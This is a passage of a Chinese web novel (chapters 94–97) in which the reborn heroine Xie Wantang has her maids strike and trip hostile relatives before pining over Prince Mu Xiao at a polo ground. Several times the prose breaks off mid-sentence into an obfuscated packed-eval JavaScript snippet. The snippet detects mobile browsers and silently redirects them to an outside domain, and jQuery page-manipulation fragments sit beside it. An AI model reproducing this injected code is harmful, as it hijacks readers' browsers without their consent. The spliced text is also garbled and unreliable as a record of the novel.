她不知道谢詹杭具体打了什么主意,又做了什么安排,但她想谢晚棠这个害了宁儿,让宁儿有家不能回的灾星,死无葬身之地。 她期待十八那日。 不远了! 她忍着,她等着就是了。 谢夫人脚步生风,走的极快,不一会儿就出了屋,仿佛一刻都不想多留似的。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803868|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚棠也不管她,她将请柬打开,眉眼弯弯。 果然! 和她想的一样,谢詹杭把日子选在了腊月十八,她…… 已经有些期待谢詹杭的手段了! …… 日子转瞬即逝。 腊月十八,这日一早,谢晚棠就收拾妥当了。 没有穿谢夫人送来的衣裳,也没带她送来的首饰,那些东西,在谢夫人着人送来后,谢晚棠转手就都让知棋卖了。 换来的影子,尽数给了知琴和六子。 永昌侯府永昌不了,而就算侯府永昌,谢晚棠也是指望不上的。 她总得为自己打算。 往后的日子还长,坐吃山空不现实。 趁着眼下有银子可用,趁着她人在侯府,也有银子可搜刮,她盘些铺子,让六子和知琴盯着,帮忙打理,好歹是个进项。 退一万步说,就算是亏了,本钱也是从谢家捞的。 她没损失什么。 谢晚棠想的通透,她心宽,胆子也大。 六子、知琴得了信任,自然也干劲十足,不过几日,他们就都已经盘算七七八八了。 谢晚棠自然也高兴。 而这些,谢夫人、谢詹杭全然不知。 他们都惦记着今日的事呢。 谢晚棠这边收拾好没多久,谢詹杭和谢夫人就派人过来请她了。 知道他们夫妻俩在前院花厅等着,准备出发了,谢晚棠带着知棋、天岚、天月过去。 花厅。 进了门,谢晚棠有些意外。 除了谢詹杭和谢夫人在之外,花厅里还有几个人在。 上辈子,谢晚棠出了小院,就被送到了齐王府,难得回来,就是被活埋,她对永昌侯府的人,实在说不上多熟,这辈子她倒是见过几个,但也认不全。 眼下花厅这几个,她也就勉强认得四个。 谢詹杭的二弟谢詹林,谢詹林的夫人洛氏,以及他们的长子谢怀霆,女儿谢婉瑜。 剩下的脸生。 谢晚棠不认识,也不在乎认不认识。 她脚步款款,面色从容。 只是,她才一进门,就听到谢婉瑜阴阳怪气的道,“这张脸,倒是跟宁姐姐有两分像,可这气质,比宁姐姐也差太多了,这么出去赴宴,也不知道会不会牵累侯府,沦为京中的笑话?” 谢晚棠闻声,缓缓看向谢婉瑜。 “这位就是婉瑜妹妹吧?” “不敢,我命没那么硬,可不敢跟灾星做姐妹。” 谢晚棠莞尔。 寻了空位置坐下,谢晚棠漫不经心的开口,“做不做姐妹,那不重要,重要的是难得见婉瑜妹妹一次,我这个做姐姐的,总得表示表示才好。今儿我有份礼物,送给婉瑜妹妹,还望婉瑜妹妹收下。” “还礼物?你能有什么好东西?” “我这……有个教训,要送给你……” 第94章 倾慕他 教训…… 这两个字,谢晚棠说的冷冽。 话音落下,她侧头给身旁的天岚使了个眼色。 天岚心领神会,即刻飞身上前,一屋子的人甚至还来不及反应,天岚的巴掌,就已经扇在了谢婉瑜的脸上。 “啪!” 清冷的声音,在花厅炸响,众人皆是心头一震。 谢婉瑜更是被打蒙了。 半张脸火辣辣的疼,她捂着脸,半晌才暴怒起身,扯着嗓子大吼。 “谢晚棠,你居然敢让人打我?” 谢晚棠勾唇,“打都打了,婉瑜妹妹还问,这是感受不深,体会不深?那……再来一次?” “你……死灾星,你……” “婉瑜。” 洛氏拉了谢婉瑜一把,将她怒骂的话给堵了回去。 之后,洛氏看向谢詹杭和谢夫人。 “大哥、大嫂,晚棠这性子倒是够泼辣的,自家姐妹,还一言不合就动手,这若是到了外面,真与人起了冲突,是不是就得喊打喊杀了?这般出去赴宴,真的没问题吗?要知道,今日去赴宴的,可都是京中权贵,真若是得罪了谁,如今的永昌侯府,怕是承受不起。” 用最软的语气,说着最关心永昌侯府的话…… 至于谢婉瑜挨的那一巴掌,至于为谢婉瑜出气的事,洛氏没提一句。 可软刀子也扎人。 尤其是谢詹杭、谢夫人这般不喜谢晚棠的。 听着洛氏的话,谢詹杭脸上挂不住,他冷着脸看向谢晚棠,“没规矩的东西,还不给你二婶,给你婉瑜妹妹赔不是。” “赔不是?” 呢喃着这三个字,谢晚棠浅笑嫣然。 “我一早就说了,这是送给婉瑜妹妹的礼物,好端端的,赔什么不是?” “**还打出理来了?你这算什么礼物?” “爹耳朵不好吗?” 目光在谢婉瑜的身上扫了一圈,才又落到谢詹杭的身上。 谢晚棠戏谑的继续。 “我一早就说了,这是我送给婉瑜妹妹的教训。 爹知道的,我是侯府灾星,从小被囚禁于小破院里,没有规矩也就算了,可婉瑜妹妹是二婶一手调教出来的,说话也这般口无遮拦,这便是真的家教不严,不成体统。 今日去赴宴,出席之人皆是京中权贵。 我可以不计较婉瑜妹妹说什么,可若是她出去赴宴,也这般口无遮拦,若真冲撞了贵人,只怕那后果,如今的永昌侯府,是真的承受不起了。我这也是为了婉瑜妹妹好,为了侯府好。 爹,我错在何处?” 洛氏说的话,谢晚棠不咸不淡的,尽数都还给了她。 洛氏眸光暗冷。 谢詹杭则脸色青黑。 他不喜谢晚棠,这不假,可谢婉瑜先开口挑事,也是真,谢晚棠说谢婉瑜口无遮拦,易给侯府惹事,也在理。 心中烦躁,谢詹杭半晌都没有开口。 谢晚棠笑着起身。 “我是永昌侯府的一份子,虽然大家都不喜欢我,但该为侯府尽的心,尽的力,我都会尽。今日给婉瑜妹妹的礼物,婉瑜妹妹只管收着就好,来日方长,日后诸位若有所需,我……绝不吝啬。” “荒唐!” 谢詹林的手,重重的拍在了椅子扶手上。 “大哥,她这般跋扈任性,甚至强词夺理,威胁长辈,大哥真的不管?” “天岚。” “是。” 天岚应声,随即到谢詹林身边,谢詹林心头微凛,他下意识的伸手挡住脸。 却见天岚抬脚,一脚踹在了谢詹林的肚子上,谢詹林身子后仰,连人带椅子,一股脑都摔在了地上。 “你……” 谢詹林挣扎着起身,看向谢晚棠,气的要命。 谢晚棠言笑晏晏。 “二叔吧?我刚刚说过的,但凡诸位有所需,我一定不吝啬。这个教训,是送个二叔的,二叔受过了,就该记得,这是永昌侯府,而我爹是永昌侯,是这侯府的主人,他是尊,他是二叔的兄长,是长,二叔跟他说话,还拍桌子拍椅子,吹胡子瞪眼的,未免太目无尊长了,这也是没规矩,这毛病得改。” “你……你……” 谢詹林气得发抖,他半晌都没说出话来。 刚好,谢晚棠也不想听。 她自顾自的继续。 “小小薄礼,二叔笑纳便好,多余的话也就不必说了。时候不早了,今儿可是海国公的大日子,论不到咱们托大耍威风。这个时候出发,去隆御马场,时候大抵刚刚好,若是再晚些,怕是真要得罪海国公府了。诸位要是还有事要忙,不急着出发,那我就先走了,诸位自便。” 话音落下,谢晚棠带着知棋、天岚、天月,缓步往外去。 任凭谢詹林怒骂,她也没停下。 倒是谢詹杭,没有开口再阻拦,而是沉声叹了一口气,止住了谢詹林一声声的怒骂。 “好了,有什么事回来再说。” “大哥……” “时候不早了。” 谢詹杭说了一句,之后便起身往外去了。 他的确不喜欢谢晚棠,但是,谢晚棠有句话说的对,他是永昌侯,是侯府之主,他是谢詹林的兄长,不论怎么说,都轮不到谢詹林在他这吹胡子瞪眼,大呼小叫。 而今日,也非头一次了。 谢晚棠是缺了规矩,可谢詹林,也该涨涨教训了。 谢詹杭大步流星,不过须臾,就出了花厅,谢夫人眉头紧锁,忙起身跟上,其他人也都跟了过去。 唯有谢詹林、谢婉瑜、洛氏和谢怀霆,半晌没动。 还是谢婉瑜忍不住哭出了声。 “爹娘,那死灾星欺负我,还对爹动手,这事就这么过了?大伯他还护着那死灾星,他怎么这样?” 谢詹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809133|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林捂着发疼的肚子,半晌没开口。 至于洛氏,眼神晦暗。 “灾星虽是灾星,可这些年,除了这阵子的事闹得沸沸扬扬,她并没有给侯府带来什么实质性的灾难。她是你大伯的女儿,你大伯心里,待她总归是比待咱们亲的。再加上她刚刚那一句主,那一句长的挑拨,大约也挑拨到了你大伯的心坎里,你大伯默不作声,为她和稀泥,也不稀奇。” “一个死灾星,也值得他这般护着,大伯他老糊涂了吗?” “好了。” 洛氏拉着谢婉瑜的手,轻轻的拍了拍。 “先去马场,剩下的,咱们回来再说,娘总归不会让你受委屈就是了,这一巴掌,娘早晚替你还回来。” 谢婉瑜闻言,红着眼睛看向洛氏。 “真的?” “自然是真的。” 这一巴掌,她会还给谢晚棠,谢詹林受的那一脚,她也会还回去。 甚至于是这永昌侯的侯爵,她也会帮着谢詹林,从谢詹杭手里夺过来,她倒要看看,到那时,谁还敢在他们二房面前议论谁是主,谁不是主? 洛氏想着,如水的眼眸里,滑过一抹冷意。 一闪即逝。 …… 隆御马场。 谢晚棠先一步上了马车,却是等了谢詹杭他们,跟着永昌侯府的车马,一块过来的。 下马车时,看着熟悉的马场,她眼眶不自觉的发红。 又来这了。 上辈子慕枭带她来过许多次,死后,她也来过一次,这里,有太多属于她和慕枭的回忆了,好的坏的,历历在目。 而那些回忆,现在只属于她一个人。 回忆如潮水,汹涌而来时,淹没的也只有她一个。 “小姐!” 其余人都已经进马场了,见谢晚棠不动,天岚不禁开口唤了一声。 闻言,谢晚棠回神。 扭头,抹了把眼角的水雾,谢晚棠再看向天岚时,面色平和,浅笑盈盈,她轻轻点头。 “想起了些事而已,没事,走吧,咱们也进去。” “好。” 天岚应声,和天月、知棋护着谢晚棠进马场。 一进来,谢晚棠就听到有人窃窃私语,“你们听说了吗,一会儿海国公的小孙女,也会下场打马球。” “真的?” “当然是真的。” “过去几年,可没见她下过场 。” “眼下不一样了,这不,齐王伤了腿,不良于行,只怕前程就此断了,故而海国公府也就不必再避嫌了。海国公的小孙女,本就倾慕齐王,眼下不用再瞻前顾后,抓紧时间表现表现,这婚事说不准就成了。这种时候,她还能不努力?别说是下场打一场,就是让她打一整日,她怕是也乐意。” 议论声很浅,可谢晚棠却听的清清楚楚。 她的心不禁紧了紧…… 第95章 尽风流 这些议论,谢晚棠听见了,天岚、天月也听到了。 她们都下意识的看向了谢晚棠。 “小姐……” 天岚扶着谢晚棠,小心翼翼的开口唤了一声。 她和天月,本就是慕枭的人,慕枭肯把她们派到谢晚棠身边,已然说明了谢晚棠的不同。再加上,之前谢晚棠给慕枭送过画,从慈恩寺回来,马车里,慕枭还让谢晚棠坐在他腿上…… 他们两个之间的暧昧,不言而喻。 天岚以为,慕枭不近女色,谢晚棠作为他的例外,两个人修成正果,顺理成章。 可偏偏现在又突然冒出一个海国公的小孙女…… 天岚担心。 觉察到天岚的心思,谢晚棠快速回神。 “没什么,走吧。” 上辈子也好,这辈子也罢,慕枭从来都是站在云端的,京中喜欢他的女子,从来都不少。甚至如谢婉宁之流,为了他铤而走险、恶意伤人、频频算计的,也不在少数。 被人追捧,被人倾慕,从来都不是一个人的错。 这只能证明慕枭的出众。 这些,上辈子谢晚棠就已经知道了,自然也没什么可胡思乱想的,多了一个海国公的小孙女,也没什么可意外的。 她只管按照自己的节奏来,尽己所能便是了。 谢晚棠这么想着,只是她心里,还是不免有些压抑。 像是压着块石头似的。 这时,谢晚棠就听到一声嗤笑。 “呵。” 她循声望去,就瞧见了站在她边上的谢婉瑜。 脸上被天岚打的地方,已经上了脂粉,重新遮掩过了,红肿的巴掌印几乎瞧不见了。她身边带了两个小丫鬟,两个小厮,大约是有人护着的缘故,她底气十足,瞧着谢晚棠的时候,头也仰的高高的,“桀骜”两个字,几乎印在了脸上。 谢晚棠微微凝眉。 见状,谢婉瑜稍走两步,与谢晚棠靠的更近了些。 “怎么,听着海国公的小孙女有意亲近齐王,你就走不动道了?你该不会以为,齐王在惊风诗社救过你一次,他就会心悦于你吧?你该不会觉得,宁姐姐不在府里了,她原本的亲事,就能落到你头上吧?” 谢婉瑜的脸上,尽是鄙夷。 她的目光,在谢晚棠身上反复打量,她冷嘲。 “你也不看看自己什么德行?庸俗粗鄙,就凭你,也配肖想齐王?更别说你还是个灾星,齐王若是知道你生来晦气,怕是会离你远远的,怕是会悔不当初,后悔**当初救你。” 谢婉瑜的话刺耳。 谢晚棠听的清清楚楚,她上前一步,抬手轻轻拉过谢婉瑜的手。 谢婉瑜脸色一变,下意识的往后抽手。 “你干什么?” “干什么?”低声呢喃着这三个字,谢晚棠勾唇,“你没听说过吗,晦气是会传染的,我既然是天降灾星,那身上的晦气自然更多。我碰过了你,从此往后,你晦气缠身,我保证你……身体有恙、婚事不顺、坐着挨摔、走路崴脚、醒着心慌、睡有噩梦,你……” “你闭嘴。” “怎么能闭嘴呢?这可是我送给婉瑜妹妹的第二份礼,又是一个教训,叫:管好嘴,离我远点,咱们……拭目以待。” 话音落下,谢晚棠甩手把谢婉瑜的松开。 谢婉瑜拿出帕子,用力的擦了擦被谢晚棠握过的手。 “晦气的东西。” 重重的啐了一声,像撞上了鬼似的,谢婉瑜片刻都不愿再跟谢晚棠多待,她抬脚就走。 瞧着谢婉瑜的背影,谢晚棠看了看身侧的天月。 天月瞬间心领神会。 看着地上的石子,天月脚尖稍稍抬了抬,石子犹如暗器,飞射而出,不偏不倚,刚好砸在谢婉瑜的右脚踝上。 谢婉瑜只觉得自己脚踝的骨头,像是瞬间碎了似的。 她脚下一歪,就栽在了地上。 偏她什么都没看到。 她完全没想明白,自己到底是怎么摔的,真跟见了鬼似的。 “啧!” 谢晚棠瞧着谢婉瑜面露惊恐之色,轻轻咂舌。 “婉瑜妹妹,你看,应验的多快啊,来日方长,你往后的日子会成什么样,我都有些期待了呢。” “你闭嘴。” 谢婉瑜心里后怕,她伸手让两个小丫鬟将她搀扶起来。 再不敢多逗留,她慌慌张张的奔着前面去了。 谢晚棠脸上的笑意渐渐收敛,她带着天岚、天月、知棋在后面慢悠悠的跟着,她轻声叮嘱。 “天月,今儿你多费心些,陪着她好好玩玩。” “是。” “记得……手下不用太留情。” 吓疯了算她的! 左右在永昌侯府众人的眼中,她就是个灾星,那从今日起,她就平等的成为他们每一个人的灾难。 不留情面,不择手段,不遗余力,不依不饶。 天月眼睛发亮。 “是。” …… 为了给海国公贺寿,也为了方便打马球,整个隆御马场都重新布置过。 南边视野最好的地方,搭建了高台。 高台上设了位置,海国公会坐在正中间的位置观看马球,其余的宾客,也会过去,先为海国公贺寿,之后也会在高台上坐下歇着。 谢晚棠跟着永昌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢晚棠的目光,下意识的追过去。 只见慕枭到那后,一个十五六岁的姑娘站起身,到了海国公夫人身旁。 她穿着一身海棠红的衣裳,外面裹了一件披风,头发高高的束起,眉目如画,面若桃李,带着娇羞,却又不失英气。 仅一眼,谢晚棠就可以确定,那是海国公的小孙女—— 海云卿。 彼时,海云卿正看着慕枭。 那样的眼神,谢晚棠瞧着,恍若从海云卿的身上,看到了自己的影子。 喜欢一个人,大抵真是藏不住的。 谢晚棠的心又紧了紧,不知道他们在说什么,可瞧着海云卿言笑晏晏,她没由来的心慌…… 第96章 声缱绻 谢晚棠目光灼热。 似有所感,慕枭下意识的回头,看向谢晚棠所在的方向。 不过,他眸光清冷,也几乎是在对上谢晚棠目光的那一瞬,他就转头移开了自己的视线。 谢晚棠见状,也收回了目光。 她买你上平静,不起波澜,只是,她一颗心像是淋了一场秋雨,凉意泛滥。 慕枭啊—— 谢晚棠看向马场。 曾几何时,她和慕枭就在这马场里共乘一骑,慕枭将她揽在怀中,她的背,倚靠着慕枭的胸膛,他们两个人贴的很近,近到她能清晰的感受到慕枭的心跳,感受到慕枭身上的温度。 那时候的慕枭,也是面无表情的。 可是,他每一个细小的动作里,都带着极致的温柔。 尤其是慕枭的唇瓣,紧贴着她的耳畔,低声教她骑马的要领,温柔的声音,伴着他呼出的热浪,一波波的席卷而来,将她的耳朵染红时,那种缱绻,带着浓烈的甜意,在心头翻滚。 人还是那个人,马场也还是那个马场。 可隔了一世,什么都不一样了。 留在过去的只有她! 谢晚棠心里发苦。 她也忍不住的想,是不是这辈子,在某一日,慕枭依旧会出现在这马场上,那么温柔的把人拥在怀中,教人骑马? 只是,那个人不再是她。 而是诸如海云卿之流的倾慕于他,又于他大有助益的千金贵女? 不论是谁,大约都比她这个众人眼中的灾星强吧? 谢晚棠想着,心里酸涩的厉害。 她心里也怕。 也就是这时候,谢詹杭带着人回来了,见到他们,谢晚棠快速收拾好自己的情绪,端着桌上的茶盏,低着头静静的喝茶。 她可以脆弱,可以狼狈,可以手足无措。 但,这些都不能在谢家人面前流露一丝一毫。 “小姐,奴婢出去一下。” 天岚的声音在耳畔响起,闻言,谢晚棠没有抬头,她只是轻轻的应了一声。 “去吧。” 得了准允,天岚退了下去。 只用了一盏茶左右的工夫,天岚就回来了,她凑在谢晚棠耳畔,低声开口。 “小姐,奴婢伺候小姐去更衣吧。” “更衣?” 谢晚棠放下茶盏,看向天岚,明显有些意外,但见天岚神色郑重,她也没有多说什么,而是任由天岚扶着,缓缓起身。 “哪去?” 谢詹杭瞧着谢晚棠要走,冷声询问。 谢晚棠勾唇,“去更衣。” “快去快回,别乱跑,”谢詹杭沉着脸叮嘱,“这里是隆御马场,是皇家马场,不是你的桐花台,能由着你乱来。更了衣赶紧回来,要是敢在外耽搁惹事,冲撞了贵人,看我怎么收拾你。” “啊!” 几乎是谢詹杭话音落下的瞬间,坐在谢詹杭身后不远处的谢婉瑜,就从椅子上跌了下来。 她四仰八叉的摔在地上,连带着边上的桌子都带歪了。 桌上茶盏噼里啪啦散落一地。 碎裂的瓷片,混着茶水,弄的满地狼藉。 这边的动静,惊动了不少人看过来,大家伙儿看热闹,神色各异。 谢詹杭脸色难看的要命,他冷冷的看着边上的洛氏。 “还不把人扶起来。” 洛氏带着下人,忙去谢婉瑜身边查看。 一时间,所有人的注意力,都在谢婉瑜的身上,连带着谢詹杭,也再没心思跟谢晚棠多说了。 满意的看了眼边上的天月,谢晚棠勾勾唇,带着天岚转身就走。 下了高台,人渐渐少了,谢晚棠这才开口询问。 “说吧,什么事?” 天岚不会无的放矢,说伺候她去更衣,必定是醉翁之意不在酒。 听谢晚棠问,天岚也不瞒着,她四下观望,确定没有人注意到她们后,她将一块玉佩塞进了谢晚棠的手里。 白玉温润,触手升温。 “这是……” “这是王爷让奴婢转交给小姐的。” 天岚丝毫不卖关子。 “刚刚,王爷派人来送玉佩,交代奴婢把这块玉佩交给小姐,王爷让人传话说:从慈恩寺回来那日,多谢小姐出手相救,这块玉佩就是王爷送给小姐的谢礼。拿着这玉佩,小姐可以到王爷名下的铺子、庄子,不论是拿东西,还是拿银子,亦或者是调用人手,都可以毫无限制。” 谢晚棠一把将玉佩攥紧,她侧头看向天岚。 她的眼底并没有多少喜色。 一来,若非有上一世的记忆,光凭这一世她和慕枭的接触,她并不知道慕枭的产业都有什么。 铺子、庄子,不论去哪,不论去干什么,想来都得经过天岚。 毫无限制—— 又怎么会真的毫无限制? 当然,这不重要,重要的是第二点。 慕枭送她玉佩,给了她答谢,还是格外厚重的答谢,这也就意味着,慕枭并不想欠她人情。 这玉佩是答谢,也是断了她心思和念想的警钟。 不愧是慕枭。 心眼子多的,走一步,都要转三个弯。 从慈恩寺回来,到今日,已经过去好几日了,可这些日子,慕枭都没提谢礼的事,偏偏今日,这么多人在,他倒是急着送谢礼了—— 是刚刚她看慕枭的眼神,让慕枭不喜了吧? 是慕枭有意与海国公家结亲,不想再跟其他女人有牵扯,怕海云卿误会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823659|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才这么急着做了断吧? 这谢晚棠的眼底,一层薄雾,不受控制的升腾氤氲。 “小姐……” 眼见着谢晚棠脸色不对,天岚忐忑的唤了一声。 “小姐,你还好吧?” “嗯。” 将手中的玉佩,攥的更紧了一些,谢晚棠点了点头,半晌才开口吩咐。 “走吧,去更衣,之后我们回去。” “小姐不开心吗?是王爷送的谢礼,不合小姐的心意?那要不奴婢去那头回个话?或许王爷能为小姐换一件更合心意的谢礼呢?” “更合心意的。” 垂眸呢喃着这几个字,谢晚棠苦笑着摇头。 “不会有更合心意的了。” 她想要的,最合心意的谢礼,是慕枭这个人。 可眼下,慕枭巴不得离她远远的,连与她接触都不愿,又怎么会给她机会,让她如愿? 谢晚棠没再多言。 将谢晚棠的模样看在眼里,天岚脑子里,不禁又闪过了进马场时,他们听到的那些闲言碎语。她几乎可以肯定,谢晚棠的不开心,跟那些话有关,跟海云卿和慕枭有关。 可她什么都做不了,也什么都说不了。 慕枭的确不近女色,这些年,他身边没有女人,但他身在皇家,亲事由皇上盯着,总归不会太晚。 海国公家,不失为一个好的选择。 这谁说的准呢? 天岚心慌意乱的,她抿着唇,没再多嘴,而是随着谢晚棠加快脚步,伺候谢晚棠去更衣。 之后,她们便回了高台。 谢晚棠心情不好,兴致也不高,那样子,谢婉瑜一眼就瞧见了。 谢晚棠不高兴,谢婉瑜心里就痛快多了。 今日,她站着崴脚,坐着摔跤,正应了谢晚棠那句晦气的诅咒,她都要恨死谢晚棠了。 她不是吃亏的主。 谢晚棠让她不痛快,她自然也不介意给谢晚棠添添堵。 心里琢磨着,谢婉瑜抬眸看向马场的方向。 今儿的第一场马球,已经在准备了,海云卿作为海国公的小孙女,又想在慕枭面前表现,她第一场就要下场,已经牵着马进场了。 海国公府是武将世家,海云卿也是自小练习骑射的,能力不俗,比京中的一般的大家闺秀都厉害。再加上今日是海家的主场,也没人愿意去抢她的风头,得罪海家。 故而,险海云卿那一队的人凑得很快。 可对手却还没有。 谢婉瑜眼底闪过一抹算计的光芒。 在谢晚棠要回座位,路过她的瞬间,她用力推了谢晚棠一把。 谢晚棠身子不稳,直接被推了出去,谢婉瑜见状,也不等谢晚棠反应,她便笑着开了口—— 第97章 像恶魔 “晚棠姐姐,你这么站出去,是要下场吗?” 谢婉瑜声音不小,尤其是“晚棠姐姐”这四个字,她更是说的重重的,一时间,周围的人都冲他们这头看了过来。 这阵子,永昌侯府的事,闹得沸沸扬扬,相关流言也甚嚣尘上。 是以,很多人都听过谢晚棠的名字。 可见过她的却寥寥无几。 大家对她好奇,也乐得看热闹。 连带着慕枭,也侧头看了过来,眼见着谢晚棠站在谢婉瑜对面,眸色清冷,不辨喜怒,谢婉瑜眼底尽是兴奋,是幸灾乐祸,他眉头不禁微微蹙了蹙,摩挲着手上的玉扳指,他若有所思。 谢詹杭也听到了动静,他回头看向谢晚棠,脸色铁青。 “你胡闹什么?还不赶紧坐回去?连马都不会骑,你打什么马球?别捣乱,扫了海小姐她们的兴致。” “大伯,也不能这么说。” 不给谢晚棠开口的机会,谢婉瑜先抢了话茬。 她笑眯眯的劝着。 “晚棠姐姐头次来参加这种盛宴,对马球感兴趣,也是可以理解的。 而且,海小姐跟其他几位小姐,也都是谦和包容的,大家打马球,是为了给国公爷贺寿,为了取乐,又不是非要拼个你死我活的,她们不会嫌弃晚棠姐姐技术不佳的。 如此,让晚棠姐姐去试试,体会体会,又有何妨? 更何况,我瞧着晚棠姐姐厉害的紧,保不齐她就天赋异禀,头一次上手,就能精通此道呢? 那不更好?” “你给我闭嘴!” 谢詹杭没给谢婉瑜留脸面,他厉声呵斥。 他不管谢晚棠会不会打马球,海云卿她们又是否嫌弃她,她也不管谢婉瑜的心里,有多少小算计,今日,谢晚棠都不该下场。 他让谢晚棠来隆御马场,是有安排的。 箭在弦上,不能被打乱。 若是因为打马球,谢晚棠被人关注,他可就不好行动了。 这些事,谢詹杭心里盘算的清楚,他随即又看向谢晚棠,想要开口对谢晚棠施压,偏这时候,海云卿牵着马走了过来。 娇俏明媚的小脸上,笑意纵横。 “侯爷,谢二小姐既有兴趣,那就让她下场试试吧,左右我们也都是半吊子,打来图个乐,会与不会,精与不精,没那么重要。” “还是不……” “谢二小姐,你是想自己挑马,还是我安排人给你挑?” 海云卿直接看向了谢晚棠询问。 至于谢詹杭,完全被晾在了那,连带着他那些未说出口的话,也再没了说出口的机会。 谢晚棠看向海云卿。 知道海云卿心有慕枭,海家也有心与慕枭结亲的时候,她心里是别扭的。 可这一刻看着海云卿,她心底却生不出厌恶来。 海云卿张扬明艳,却不骄纵跋扈,她身上,带着武将世家女子的坦荡和豪气,让人看着心里舒坦。 她不知道往后会如何。 但至少眼下,她是喜欢海云卿的。 谢晚棠勾唇,眉目含笑,她柔声开口,“那就劳烦海小姐了。” “好说。” 海云卿随即转头,交代人去备马。 谢晚棠也不多耽搁,她转身,准备下高台去马场。 谢婉瑜见谢晚棠真的应了,不禁微微侧身,稍稍上前,拦住她的去路。 四目相对,谢婉瑜的眼里,全是得逞的兴奋。 “你还真敢下场。” 压低了声音,谢婉瑜语气讥讽。 “被关在侯府后院里,连马都不会骑的灾星,还下场打马球,想出风头,简直要让人笑掉大牙。姐妹一场,别怪我没提醒你,一会儿上了马,可得仔细些,小心被马甩下来,一蹄子踩死,那……可就太有意思了。” “呵!” 谢晚棠冷冽的笑了一声。 “婉瑜妹妹别急,有意思的,都还在后面呢。” “你……嗯……” 谢婉瑜想要开口。 可就这一瞬,她右腿小腿的位置突然一阵酥麻,紧接着那腿就像失去了知觉似的,再也用不上力,她扑通一下就冲着右边栽了下去。 谢婉瑜的头撞到了旁边的桌子,桌子倒了,茶壶砸过来。 砸的倒是不重。 可是,滚烫的茶水浇了她一头。 只一瞬间,谢婉瑜的半张脸就烫红了,她精心画的妆容,梳的发髻,也都被水淋了个头,狼狈的不成样子。 谢晚棠看向谢婉瑜,冲着她微微伸手。 “婉瑜妹妹,这是怎么了?正说这话呢,好端端的,你怎么还倒了?” “你……” 谢婉瑜想要骂人。 可是,看着谢晚棠笑意盈盈的模样,看着谢晚棠伸过来的那只手,谢婉瑜硬是把到嘴边的话,全都给咽了回去。 谢晚棠真的太邪性了,自从今日跟她说了话,她已经栽了三次了。 她真的怕了。 将谢婉瑜恐惧的模样看在眼里,谢晚棠嗤笑。 微微倾身,主动拉住谢婉瑜的手,谢晚棠附在她耳畔,用只有两个人能听到的声音低喃。 “啧,又栽了!” “婉瑜妹妹现在,好像真的有点晦气了呢。” “来日方长,我都有些期待了。” “身体有恙、婚事不顺、坐着挨摔、走路崴脚、醒着心慌、睡有噩梦……要应验的还多,咱们等着瞧喽。” 谢晚棠一声一声的念叨,她话说的很慢。 每一个字,对谢婉瑜而言,都是折磨。 “疯子,滚,滚开。” 甩开谢晚棠,谢婉瑜连连后退,这一刻,她甚至不敢多看谢晚棠,在她看来,谢晚棠就像是个恶魔。 “啧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823660|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,婉瑜妹妹这家教,可真是……” 谢晚棠摇摇头,不再多言,可这未出口的话,却满含嘲弄。 她转身离开。 路过天月时,她也不忘冲着天月微微点头。 天月会意,袖口中的手指微微动了动,她看向谢婉瑜的方向,笑的意味深长。 …… 马场。 谢晚棠下来时,海云卿已经让人将马牵过来了。 海云卿身后,还跟了几个十七八岁的姑娘,瞧着模样打扮,应该皆是京中贵女。 海云卿看向谢晚棠。 “谢二小姐,时候不早了,咱们这头一场马球,马上就要开始了。这几位小姐,都是一会儿要下场的,这会儿来不及,等回头我好好为你介绍。眼下,你只要记得边上这几个,是你的队友,而我这边的,都是你的对手就好。” “好。” “谢二小姐,咱们打马球只是为了取乐,比赛固然在乎输赢,可自身安危更重要。” 海云卿听人说过,谢晚棠这些年,一直被谢家囚禁着。 谢詹杭也说了谢晚棠不会骑马。 